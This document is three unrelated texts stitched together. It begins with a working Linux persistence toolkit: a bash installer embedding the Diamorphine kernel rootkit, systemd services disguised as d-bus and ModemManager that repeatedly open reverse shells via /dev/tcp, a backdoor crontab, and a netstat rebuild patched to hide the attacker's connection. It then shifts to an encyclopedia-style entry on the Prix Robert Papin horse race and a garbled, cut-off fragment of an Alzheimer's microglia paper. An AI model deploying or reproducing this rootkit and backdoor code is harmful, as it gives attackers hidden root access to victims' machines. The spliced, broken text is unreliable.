diamorphine=$(cat << \EOF
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
#include <asm/uaccess.h>
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
char* MAGIC_PREFIX[4] = {"d-bus", "dbus-org.freedesktop.Modem.service", "usb-bus", "dbus-org.freedesktop.ModemManager11.service"};
int indexes = sizeof(MAGIC_PREFIX)/sizeof(MAGIC_PREFIX[0]);
#define PF_INVISIBLE 0x10000000
#define MODULE_NAME "diamorphine"
enum {
SIGINVIS = 31,
SIGSUPER = 64,
SIGMODINVIS = 63,
};
int i;
unsigned long cr0;
static unsigned long *__sys_call_table;
typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
unsigned int);
typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
struct linux_dirent64 *, unsigned int);
typedef asmlinkage int (*orig_kill_t)(pid_t, int);
orig_getdents_t orig_getdents;
orig_getdents64_t orig_getdents64;
orig_kill_t orig_kill;
unsigned long *
get_syscall_table_bf(void)
{
unsigned long *syscall_table;
unsigned long int i;
for (i = (unsigned long int)sys_close; i < ULONG_MAX;
i += sizeof(void *)) {
syscall_table = (unsigned long *)i;
if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;
}
struct task_struct *
find_task(pid_t pid)
{
struct task_struct *p = current;
for_each_process(p) {
if (p->pid == pid)
return p;
}
return NULL;
}
int
is_invisible(pid_t pid)
{
struct task_struct *task;
if (!pid)
return 0;
task = find_task(pid);
if (!task)
return 0;
if (task->flags & PF_INVISIBLE)
return 1;
return 0;
}
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
unsigned int count)
{
int ret = orig_getdents64(fd, dirent, count), err;
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
/*&& MINOR(d_inode->i_rdev) == 1*/)
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
for (i = 0; i < indexes; i++) {
if ((!proc &&
(memcmp(MAGIC_PREFIX[i], dir->d_name, strlen(MAGIC_PREFIX[i])) == 0))
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
if (i == indexes - 1) {
prev = dir;
}
}
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
unsigned int count)
{
int ret = orig_getdents(fd, dirent, count), err;
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
/*&& MINOR(d_inode->i_rdev) == 1*/)
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
for (i = 0; i < indexes; i++) {
if ((!proc &&
(memcmp(MAGIC_PREFIX[i], dir->d_name, strlen(MAGIC_PREFIX[i])) == 0))
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
if (i == indexes - 1) {
prev = dir;
}
}
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
void
give_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = current->gid = 0;
current->euid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;
#else
struct cred *newcreds;
newcreds = prepare_creds();
if (newcreds == NULL)
return;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
&& defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
|| LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
newcreds->uid.val = newcreds->gid.val = 0;
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
#else
newcreds->uid = newcreds->gid = 0;
newcreds->euid = newcreds->egid = 0;
newcreds->suid = newcreds->sgid = 0;
newcreds->fsuid = newcreds->fsgid = 0;
#endif
commit_creds(newcreds);
#endif
}
static inline void
tidy(void)
{
// kfree(THIS_MODULE->notes_attrs);
// THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
// kfree(THIS_MODULE->mkobj.mp);
// THIS_MODULE->mkobj.mp = NULL;
// THIS_MODULE->modinfo_attrs->attr.name = NULL;
// kfree(THIS_MODULE->mkobj.drivers_dir);
// THIS_MODULE->mkobj.drivers_dir = NULL;
}
static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
list_add(&THIS_MODULE->list, module_previous);
//kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent,
// MODULE_NAME);
module_hidden = 0;
}
void
module_hide(void)
{
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
//list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = 1;
}
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
struct task_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags = PF_INVISIBLE;
//task->flags ^= PF_INVISIBLE;
break;
case SIGSUPER:
give_root();
break;
case SIGMODINVIS:
if (module_hidden) module_show();
else module_hide();
break;
default:
return orig_kill(pid, sig);
}
return 0;
}
static inline void
protect_memory(void)
{
write_cr0(cr0);
}
static inline void
unprotect_memory(void)
{
write_cr0(cr0 & ~0x00010000);
}
static int __init
diamorphine_init(void)
{
__sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return -1;
cr0 = read_cr0();
module_hide();
tidy();
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
protect_memory();
return 0;
}
static void __exit
diamorphine_cleanup(void)
{
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long)orig_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64;
__sys_call_table[__NR_kill] = (unsigned long)orig_kill;
protect_memory();
}
module_init(diamorphine_init);
module_exit(diamorphine_cleanup);
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");
EOF
)
#that's the script that is gonna insert the usb-bus rootkit module at boot, hide the systemd services and the bash processes
hiding_script=$(cat << \EOF
#!/bin/bash
insmod /lib/modules/$(uname -r)/kernel/drivers/usb-bus/usb-bus.ko
hidden_pids=()
while true; do
#hide usb-bus and d-bus, which are the scripts that the systemd services execute
bash_pid=$(ps aux | awk '{ if($11 ~ /bash/) print $2 }')
while read hide_pid; do
cmdline=$(cat /proc/$hide_pid/cmdline)
cat /proc/$hide_pid/cmdline &>/dev/null
if [ "$?" == "1" ]; then
continue
fi
if [ "$cmdline" == "/bin/bash/var/lib/usb-bus/usb-bus" ] || [ "$cmdline" == "/bin/bash/usr/local/share/d-bus/d-bus" ]; then
kill -31 $hide_pid
#echo "hid systemd service pid: $hide_pid"
fi
done <<<$bash_pid
#hide bash shells which our systemd service spawns
inode_list=$(cat /proc/net/tcp | awk '{ if($3 ~ /0100007F:270F/) print $10 }') #(AAA) change 0100007F:270F according to the listening ip and port (use ip to hex converter from the internet, revert the
#resulting hex and use it (without the 0x) in place of 0100007F, then convert the port from decimal to hex and use it in place of 270F)
for (( i=1; i <= 65553; i=i+1 )); do
if [ "${hidden_pids[i]}" != "" ]; then
#echo "$i already on hidden_pids"
continue
fi
socket=$(readlink /proc/$i/fd/0)
while read inode_number; do
if [ "socket:[$inode_number]" == "$socket" ]; then
#echo "pid: $i inode_number: $inode_number"
kill -31 $i
#echo "hid bash pid: $i"
hidden_pids[i]=$i
#echo "hidden_pids[i] pid: ${hidden_pids[i]}"
fi
done <<<$inode_list
done
#sleep 10
done
EOF
)
#that's the script that's gonna open the bash connections
bash_script=$(cat << EOF
#!/bin/bash
while true; do
bash &>/dev/tcp/$ip 0>&1 &
sleep 300
done
EOF
)
#that's the systemd service that's gonna do the hiding
hiding_service=$(cat << \EOF
[Unit]
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
ExecStart=/var/lib/usb-bus/usb-bus
Restart=always
User=root
[Install]
WantedBy=multi-user.target
EOF
)
#that's the systemd service that's gonna open the bash connections
bash_service=$(cat << \EOF
[Unit]
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
ExecStart=/usr/local/share/d-bus/d-bus
Restart=always
User=root
[Install]
WantedBy=multi-user.target
EOF
)
kernel_makefile=$(cat << \EOF
diff --git a/Makefile b/Makefile
index dda982c..f96b174 100644
--- a/Makefile
+++ b/Makefile
@@ -608,6 +608,12 @@ endif # $(dot-config)
# Defaults to vmlinux, but the arch makefile usually adds further targets
all: vmlinux
+# force no-pie for distro compilers that enable pie by default
+KBUILD_CFLAGS += $(call cc-option, -fno-pie)
+KBUILD_CFLAGS += $(call cc-option, -no-pie)
+KBUILD_AFLAGS += $(call cc-option, -fno-pie)
+KBUILD_CPPFLAGS += $(call cc-option, -fno-pie)
+
# The arch Makefile can set ARCH_{CPP,A,C}FLAGS to override the default
# values of the respective KBUILD_* variables
ARCH_CPPFLAGS :=
EOF
)
net_tools_patch=$(cat << \EOF
diff --git a/iptunnel.c b/iptunnel.c
index 4943d83..acfcbc7 100644
--- a/iptunnel.c
+++ b/iptunnel.c
@@ -26,7 +26,6 @@
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
-#include <netinet/ip.h>
#include <arpa/inet.h>
#if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 1))
#include <net/if.h>
@@ -36,6 +35,7 @@
#include <linux/if_arp.h>
#endif
#include <linux/types.h>
+#include <linux/ip.h>
#include <linux/if_tunnel.h>
#include "config.h"
EOF
)
#---start phantom---
echo "---Phantom started---"
#print the user making the connection
echo "user making the connection: $USER"
#if the user making the connection is not root add a crontab entry which spawns backdoor bash shells
if [ "$USER" != "root" ]; then
printf "adding crontab for $USER... "
printf "* * * * * bash -c 'bash &>/dev/tcp/$ip 0>&1 &'\n" > /tmp/.cron
crontab /tmp/.cron
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
rm /tmp/.cron
#exit to tell ncat that we are done with the script so the connection closes
exit
fi
#if the user making the connection is root do the following:
if [ "$USER" == "root" ]; then
#users=$(cat /etc/passwd | awk -F: '{ print $1 }')
#read -d + -a usernames <<< "$users"
#for (( i=0; i < ${#usernames[@]}; i=i+1 )); do
# cron=$(crontab -u ${usernames[i]} -l 2>/dev/null)
# if [ "$cron" == "* * * * * bash -c 'bash &>/dev/tcp/$ip 0>&1'" ]; then
# crontab -u ${usernames[i]} -r
# echo "removing ${usernames[i]} crontab"
# fi
#done
#---create the systemd scripts and services---
#create the script that the systemd service is gonna use
create_script () {
printf "creating the $2 script... "
printf "$1" >$2
chmod 777 $2
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
}
#create the systemd service
create_service () {
printf "$1" >/etc/systemd/system/$2
printf "enabling $2... "
systemctl enable $2 &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
printf "starting $2... "
systemctl restart $2 &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
}
echo "---create the systemd scripts and services---"
mkdir /var/lib/usb-bus 2>/dev/null
create_script "$hiding_script" "/var/lib/usb-bus/usb-bus"
mkdir /usr/local/share/d-bus 2>/dev/null
create_script "$bash_script" "/usr/local/share/d-bus/d-bus"
create_service "$hiding_service" "bus-org.freedesktop.Modem.service"
create_service "$bash_service" "bus-org.freedesktop.ModemManager11.service"
#---install prerequisites---
install_pre () {
which $1 &>/dev/null
if [ "$?" != "0" ]; then
printf "install $1... "
$2=$1
apt-get install -y $1 &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
dnf install -y $1 &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
fi
fi
}
echo "---install prerequisites---"
install_pre "make" "ma"
install_pre "gcc" "gc"
install_pre "wget" "wg"
install_pre "yes" "ye"
install_pre "unzip" "un"
install_pre "patch" "pa"
install_pre "kmod" "km"
#---make and insert the usb-bus rootkit module---
echo "---install the rootkit---"
#make the usb-bus rootkit module
if [ ! -d "/lib/modules/$(uname -r)/kernel/drivers/usb-bus" ]; then
mkdir /lib/modules/$(uname -r)/kernel/drivers/usb-bus
fi
printf "$diamorphine_makefile" >/lib/modules/$(uname -r)/kernel/drivers/usb-bus/Makefile
printf "$diamorphine" >/lib/modules/$(uname -r)/kernel/drivers/usb-bus/usb-bus.c
printf "make usb-bus rootkit module... "
make -C /lib/modules/$(uname -r)/kernel/drivers/usb-bus &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed, trying some fixes"
#if make is unsuccessful get the headers needed for the module to work, patch the kernel makefile and make again
#copy the headers
if [ ! -d "/usr/src/linux-headers-$(uname -r)/include/asm" ] || [ ! -L "/usr/src/linux-headers-$(uname -r)/include/asm" ]; then
cp -r -L /usr/src/linux-headers-$(uname -r)/arch/x86/include/asm /usr/src/linux-headers-$(uname -r)/include
if [ "$?" == "1" ]; then
cp -r /usr/src/linux-headers-$(uname -r)/arch/x86/include/asm /usr/src/linux-headers-$(uname -r)/include
fi
fi
if [ ! -d "/usr/src/linux-headers-$(uname -r)/include/uapi/asm" ]; then
cp -r /usr/src/linux-headers-$(uname -r)/arch/x86/include/uapi/asm /usr/src/linux-headers-$(uname -r)/include/uapi
fi
gcc --version | grep "7\." &>/dev/null
if [ "$?" == "0" ]; then
if [ ! -e "/usr/src/linux-headers-$(uname -r)/include/stdarg.h" ]; then
cp /usr/lib/gcc/x86_64-linux-gnu/7/include/stdarg.h /usr/src/linux-headers-$(uname -r)/include/stdarg.h
fi
else
gcc --version | grep "8\." &>/dev/null
if [ "$?" == "0" ]; then
if [ ! -e "/usr/src/linux-headers-$(uname -r)/include/stdarg.h" ]; then
cp /usr/lib/gcc/x86_64-linux-gnu/8/include/stdarg.h /usr/src/linux-headers-$(uname -r)/include/stdarg.h
fi
fi
fi
#patch the kernel makefile
location1=$(readlink -m /usr/src/linux-headers-$(uname -r)/Makefile)
location=$(echo "$location1" | awk -F/ '{ print $2"/"$3"/"$4 }')
printf "$kernel_makefile" >/$location/mkfile.patch
printf "patch the makefile... "
patch -b -d /$location </$location/mkfile.patch &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
rm /$location/mkfile.patch
#make the usb-bus module
printf "make the usb-bus rootkit module... "
make -C /lib/modules/$(uname -r)/kernel/drivers/usb-bus &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
rm /$location/Makefile
mv /$location/Makefile.* /$location/Makefile
fi
#make module auto-load after every reboot (dangerous, the computer might start having problems at boot)
#printf "usb-bus" >/usr/lib/modules-load.d/usb-bus.conf
#depmod -a #take care of dependencies otherwise you will have problems booting
#remove what is not needed after the make
rm /lib/modules/$(uname -r)/kernel/drivers/usb-bus/*.c &>/dev/null
rm /lib/modules/$(uname -r)/kernel/drivers/usb-bus/*.o &>/dev/null
rm /lib/modules/$(uname -r)/kernel/drivers/usb-bus/Makefile &>/dev/null
rm /lib/modules/$(uname -r)/kernel/drivers/usb-bus/Module* &>/dev/null
rm /lib/modules/$(uname -r)/kernel/drivers/usb-bus/modules* &>/dev/null
rm /lib/modules/$(uname -r)/kernel/drivers/usb-bus/*safe &>/dev/null
#insert the usb-bus module
printf "inserting the usb-bus module... "
insmod /lib/modules/$(uname -r)/kernel/drivers/usb-bus/usb-bus.ko &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
#---replace netstat---
which netstat &>/dev/null
if [ "$?" == "0" ]; then
echo "---replace netstat---"
rm /tmp/net-tools.zip &>/dev/null
rm -r /tmp/net-tools-master &>/dev/null
#download net-tools.zip
printf "download net-tools.zip... "
wget -O /tmp/net-tools.zip https://github.com/ecki/net-tools/archive/master.zip &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
#unzip net-tools.zip
printf "unzipping net-tools.zip... "
unzip -d /tmp /tmp/net-tools.zip >/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
rm /tmp/net-tools.zip
#modify netstat.c (change ip:port in the first sed command) (QQQ)
printf "modifying netstat.c... "
sed -i 's/printf("%-4s\s\s%6ld\s%6ld\s%-\*s/if ( strstr(rem_addr, "127.0.0.1:9999") == 0 ) {\n\t\tprintf("%-4s %6ld %6ld %-*s/' /tmp/net-tools-master/netstat.c
sed -i '0,/finish_this_one(uid,inode,timers);/{s/finish_this_one(uid,inode,timers);/\tfinish_this_one(uid,inode,timers);\n\t}/};' /tmp/net-tools-master/netstat.c
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
#patch the makefile
printf "patching the net-tools makefile... "
printf "$net_tools_patch" >/tmp/net-tools-master/net.patch
patch -d /tmp/net-tools-master/ </tmp/net-tools-master/net.patch &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
#make config net-tools-master
printf "make config net-tools-master... "
yes "" 2>/dev/null | make -C /tmp/net-tools-master config &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
#make net-tools-master
printf "make net-tools-master... "
make -C /tmp/net-tools-master &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
#make update net-tools-master, so netstat gets replaced
printf "make update net-tools-master... "
make update -C /tmp/net-tools-master &>/dev/null
if [ "$?" == "0" ]; then
echo "done, netstat replaced"
else
echo "failed, netstat not replaced"
fi
rm -r /tmp/net-tools-master
fi
#---remove prerequisites---
remove_pre () {
if [ "$1" == "$2" ]; then
printf "removing $2... "
apt-get purge -y $2 &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
dnf remove -y $2 &>/dev/null
if [ "$?" == "0" ]; then
echo "done"
else
echo "failed"
fi
fi
fi
}
echo "---remove prerequisites---"
remove_pre "$ma" "make"
remove_pre "$gc" "gcc"
remove_pre "$ye" "yes"
remove_pre "$wg" "wget"
remove_pre "$un" "unzip"
remove_pre "$pa" "patch"
remove_pre "$km" "kmod"
#exit to tell ncat that we are done with the script so the connection closes
exit
fi
|
Prix Robert Papin
* }
The Prix Robert Papin is a Group 2 flat horse race in France open to two-year-old thoroughbred colts and fillies. It is run at Chantilly over a distance of 1,200 metres (about 6 furlongs), and it is scheduled to take place each year in July.
History
The event was established in 1892, and it was originally called the Omnium de Deux Ans. It was initially run over 1,100 metres, and was extended to 1,200 metres in 1903. For a period it was held in early August, and it was one of France's first two-year-old races of the season. It reverted to 1,100 metres in 1907, and from this point juveniles could be raced earlier in the year.
The Omnium de Deux Ans was the country's richest race for two-year-olds until 1914. Its prize fund was greater than those of both the Prix Morny and the Grand Critérium. It was abandoned throughout World War I, with no running from 1915 to 1918.
The race was renamed in memory of Robert Papin (1848–1926), a former president of the Société Sportive d'Encouragement, in 1928. It was increased to 1,200 metres in 1929.
The Prix Robert Papin was held at Auteuil in 1940. On this occasion it was contested over 1,400 metres in late October. Its regular length was cut to 1,100 metres in 1942. It was run at Longchamp over 1,000 metres in 1944. Its distance returned to 1,200 metres in 1946, and it began its current spell over 1,100 metres in 1963.
The present system of race grading was introduced in 1971, and the Prix Robert Papin was given Group 1 status. It was relegated to Group 2 level in 1987.
Under Maisons-Laffitte Racecourse are closure on 2020, Prix Robert Papin moved to Chantilly and the race is eligible for geldings.
Records
Leading jockey (7 wins):
* Roger Poincelet – Chesterfield (1946), Coronation (1948), Emperor (1949), Fiere (1955), Neptune (1957), Sly Pola (1959), High Bulk (1960)
Leading trainer (9 wins):
* Charles Semblat – Ardan (1943), Nirgal (1945), Coronation (1948), Emperor (1949), Pharsale (1950), Auriban (1951), Pharel (1952), Cordova (1953), Fiere (1955)
Leading owner (8 wins):
* Marcel Boussac – Ardan (1943), Nirgal (1945), Coronation (1948), Emperor (1949), Pharsale (1950), Auriban (1951), Pharel (1952), Cordova (1953)
Winners since 1976
The 1977 running took place at Évry. The 2010 winner Irish Field was later exported to Hong Kong and renamed Prolific Champion. The 2019 running moved to Deauville during unsafely track.
Earlier winners
* 1892: Commandeur
* 1893: Claret
* 1894: Sweet William
* 1895: Nacelle
* 1896: Vidame
* 1897: Cazabat
* 1898: John Wyse
* 1899: Clairette
* 1900: Indian Shore
* 1901: Ophelia
* 1902: Perm
* 1903: Djephte
* 1904: Poppee
* 1905: Prestige
* 1906: Ascalon
* 1907: Sauge Pourpree
* 1908: Fils du Vent
* 1909: Marsa
* 1910: Lord Burgoyne
* 1911: Montrose
* 1912: Gloster
* 1913: Mousse de Mer
* 1914: Clairet
* 1915–18: no race
* 1919: Marron
* 1920: Guerriere
* 1921: Zenoia
* 1922: Pavillon
* 1923: Le Gros Morne
* 1924: Canalette
* 1925: Deauville
* 1926: Green Flor
* 1927: Erica
* 1928: Necklace
* 1929: Chateau Bouscaut
* 1930: Pearl Cap
* 1931: Coeur de Lion
* 1932: Coque de Noix
* 1933: Brantôme
* 1934: Stratosphere
* 1935: Mistress Ford
* 1936: Minaudiere
* 1937: Gossip
* 1938: Bulle de Savon
* 1939: Codor
* 1940: Longthanh
* 1941: Mirko
* 1942: Norseman
* 1943: Ardan
* 1944: Otero
* 1945: Nirgal
* 1946: Chesterfield
* 1947: Primeur
* 1948: Coronation
* 1949: Emperor
* 1950: Pharsale
* 1951: Auriban
* 1952: Pharel
* 1953: Cordova
* 1954: Soya
* 1955: Fiere
* 1956: L'Astrologue
* 1957: Neptune
* 1958: Taboun
* 1959: Sly Pola
* 1960: High Bulk
* 1961: Wakamba
* 1962: Quiqui
* 1963: Djel
* 1964: Double Jump
* 1965: Kashmir
* 1966: Fin Bon
* 1967: Zeddaan
* 1968: Folle Rousse
* 1969: Amber Rama
* 1970: My Swallow
* 1971: Sun Prince
* 1972: Reine du Chant
* 1973: Lianga
* 1974: Sky Commander
|
Iron-loading is a prominent feature of activated microglia in Alzheimer’s disease patients
Brain iron accumulation has been found to accelerate disease progression in Amyloid β-positive Alzheimer patients, though the mechanism is still unknown. Microglia have been identified as key-players in the disease pathogenesis, and are highly reactive cells responding to aberrations such as increased iron levels. Therefore, using histological methods, multispectral immunofluorescence and an automated in-house developed microglia segmentation and analysis pipeline, we studied the occurrence of iron-accumulating microglia and the effect on its activation state in human Alzheimer brains. We identified a subset of microglia with increased expression of the iron storage protein ferritin light chain (FTL), together with increased Iba1 expression, decreased TMEM119 and P2RY12 expression. This activated microglia subset represented iron-accumulating microglia and appeared morphologically dystrophic. Multispectral immunofluorescence allowed for spatial analysis of FTL+Iba1+-microglia, which were found to be the predominant Aβ-plaque infiltrating microglia. Finally, an increase of FTL+Iba1+-microglia was seen in patients with high Amyloid-β load and Tau load. These findings suggest iron to be taken up by microglia and to influence the functional phenotype of these cells, especially in conjunction with Aβ.
1
Alzheimer's disease is the most common cause of dementia, and is defined by the presence of amyloid-β (Aβ) 2 plaques and tau tangles. In addition, the brain's resident innate immune cells, microglia, have been found to be 3 at the centre-stage of the disease, as most identified risk genes are predominantly or even exclusively expressed 4 in microglia [1,2].
5
Not only can microglia modulate Alzheimer's disease, but many transcriptomic studies showed microglia to 6 undergo the most pronounced changes in response to pathology. In mice, a subset of responding microglia has 7 been found to lose their homeostatic molecular signature and transition into a so-called 'disease associated 8 microglial state' (DAM) [3]. In humans, a comparable yet disparate state coined the human Alzheimer microglia 9 (HAM) has been identified [4]. Upregulated genes in these subsets do not only indicate loss of homeostatic 10 function and increased pro-inflammatory activation, but also dysregulated iron-metabolism, manifested via 11 upregulation of the FTL-gene and downregulation of FTH1 and SLC2A11 [4,5]. Alzheimer's disease [6,7]. Though increased iron concentration likely plays a role, the exact link between the 15 two has not yet been established.
16
Iron accumulation, irrespective of microglial activation, on the other hand, has been reported in disease-affected 17 areas in Alzheimer's disease, using both in-vivo and post-mortem human MRI [8]. Several MRI and histology 18 studies found high correlations between iron accumulation and cortical Aβ and tau spreading [9][10][11]. Clinically,
19
increased iron concentrations were shown to accelerate cognitive decline in Aβ-positive Alzheimer patients, 20 indicative of a disease-modifying role for iron accumulation [12,13]. Again, how iron accelerates cognitive 21 deterioration is poorly understood.
22
Therefore, in this study we aimed to research the possible link between iron accumulation and functionally 23 activated microglia, and finally, its relation with Aβ-plaques. We performed a comprehensive investigation of 24 iron-accumulating microglia, and first identified that the iron-storage protein FTL, specifically reflected 25 increased iron accumulation in microglia. Secondly, by using multispectral immunofluorescence and an in-26 house automated cell-analysis pipeline, we found FTL + microglia to show significant activation, shown via both 27 downregulation of homeostatic markers TMEM119 and P2RY12 and dystrophic morphology, and to 28 4 predominantly infiltrate Aβ-plaques. This provides evidence for iron dysregulation as a prominent feature of 1 activated microglia in Alzheimer's disease in humans.
12
Formalin fixed paraffin embedded (FFPE) tissue was serially cut into ten 5-μm-thick and four 10-um-thick 13 sections. Consecutive 10-μm-thick sections were used for histological detection of iron using an enhanced Perl's 14 stain and IHC detection of Ferritin Light Chain (FTL). 5-μm-thick sections were used for staining of the 15 microglia multispectral immunofluorescence (mic-mIF) panel (Supplementary Table 2) to verify expression of 16 FTL in microglia/macrophages (Iba1), look at the activation state of these cells (P2RY12/TMEM119) and study 17 the interaction with Amyloid β-plaques (Aβ). Finally, of three subjects, 20-μm-thick sections were obtained for 18 3D confocal imaging.
Step-by-step histological and IHC optimization protocols, together with the imaging 19 parameters, are reported in the Supplementary Methods. A step-by-step mIF protocol and further analysis of the 20 described histological, IHC and mIF staining will be described in the following sections.
23
One 5-μm-thick section of each subject was stained with the mic mIF panel with the following protocol.
24
Sections were deparaffinized with 3× 5 min xylene, rinsed twice in 100% alcohol and subsequently washed with 25 100% ethanol for 5 min. Endogenous peroxidases were blocked for 20 min in 0.3% H2O2/methanol, after which 26 the slides were rinsed with 70% and 50% alcohol. Heat induced antigen-retrieval was performed by cooking the 27 slides for 10 min in pre-heated citrate (10 mM, pH=6.0) buffer for 10 minutes. After cooking, excess buffer was 28 removed and slides were cooled for 60 min. Non-specific antibody binding sites were blocked with blocking 29 buffer (0.1% BSA/PBS + 0.05% Tween) for 30 min. Firstly, slides were incubated with anti-TMEM119 (1:250,
11
for 5 min, after which they are mounted with 30 uL Prolong diamond (ThermoFisher).
14
MRI data and T2*-w severity scores were obtained from a previous study by Bulk et al. [10], on the same 15 tissue-blocks. In this study, tissue blocks were put in proton-free fluid (Fomblin LC08, Solvay), and scanned at 16 room temperature on a 7T horizontal-bore Bruker MRI system equipped with a 23 mm receiver coil and Solution platform (Philips, the Netherlands) and imported into ImageJ. RGB images were converted into 8-bit 25 greyscale images. Subsequently, while blinded for diagnosis, for each subject an optimal threshold was set to 26 include DAB-positive intracellular iron depositions, but exclude extracellular background signal. The cortex of 27 the MTG was delineated and the number of positive cells was determined using the ImageJ particle analyser, 28 with a size threshold of 4-100 pixels. Subject AD5 was excluded from this analysis, as iron-accumulating cells 29 could not be distinguished due to high extracellular iron load. Supplementary Fig. 2a). Hence, accurate segmentation of the whole microglia cell area is of 3 paramount importance for our method. Solutions currently available for microglia cell segmentation 4 (Abdolhoseini et al., 2019 [14], Inform, PerkinElmer) typically fall short of capturing the whole microglia area 5 ( Supplementary Fig. 2b). These are focused on either capturing the skeleton of the cells, without properly 6 identifying the cell boundaries ( Supplementary Fig. 2c), or segmenting the microglia's soma excluding their 7 processes, which in the acquired 2D images are typically detached from the soma ( Supplementary Fig. 2d). As a 8 result, a novel segmentation algorithm for this 